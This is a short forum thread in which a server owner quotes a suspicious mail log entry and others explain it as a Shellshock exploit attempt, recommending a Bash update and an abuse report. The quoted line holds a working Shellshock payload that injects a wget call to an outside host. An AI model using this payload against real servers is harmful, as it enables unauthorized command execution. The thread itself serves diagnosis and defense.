My mail log for “nobody@[mydomain.com]” shows this for every field - “To:”, “Date:” - all fields. It is from a Chinese IP address. The IP address in the wget is a DigitalOcean address, and the second IP is my server. It appears to be a dead link at this point.
Subject:() { :; };wget http://104.131.141.12:443/vul/[my-ip-address]
Any ideas? I’m lost on the ’ { :; }; ’ - is there a mail function that will execute the wget?
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That looks like someone trying to exploit the Shellshock vulnerability on your droplet. Your droplet might be vulnerable if it’s running an older version of Bash. Take a look at How to Protect your Server Against the Shellshock Bash Vulnerability | DigitalOcean and make sure that your server is up to date, then you should have nothing to worry about :)
Can you please send an email to abuse@digitalocean.com with a bit more details and a snippet of your mail log (excluding unrelated emails)? Thanks!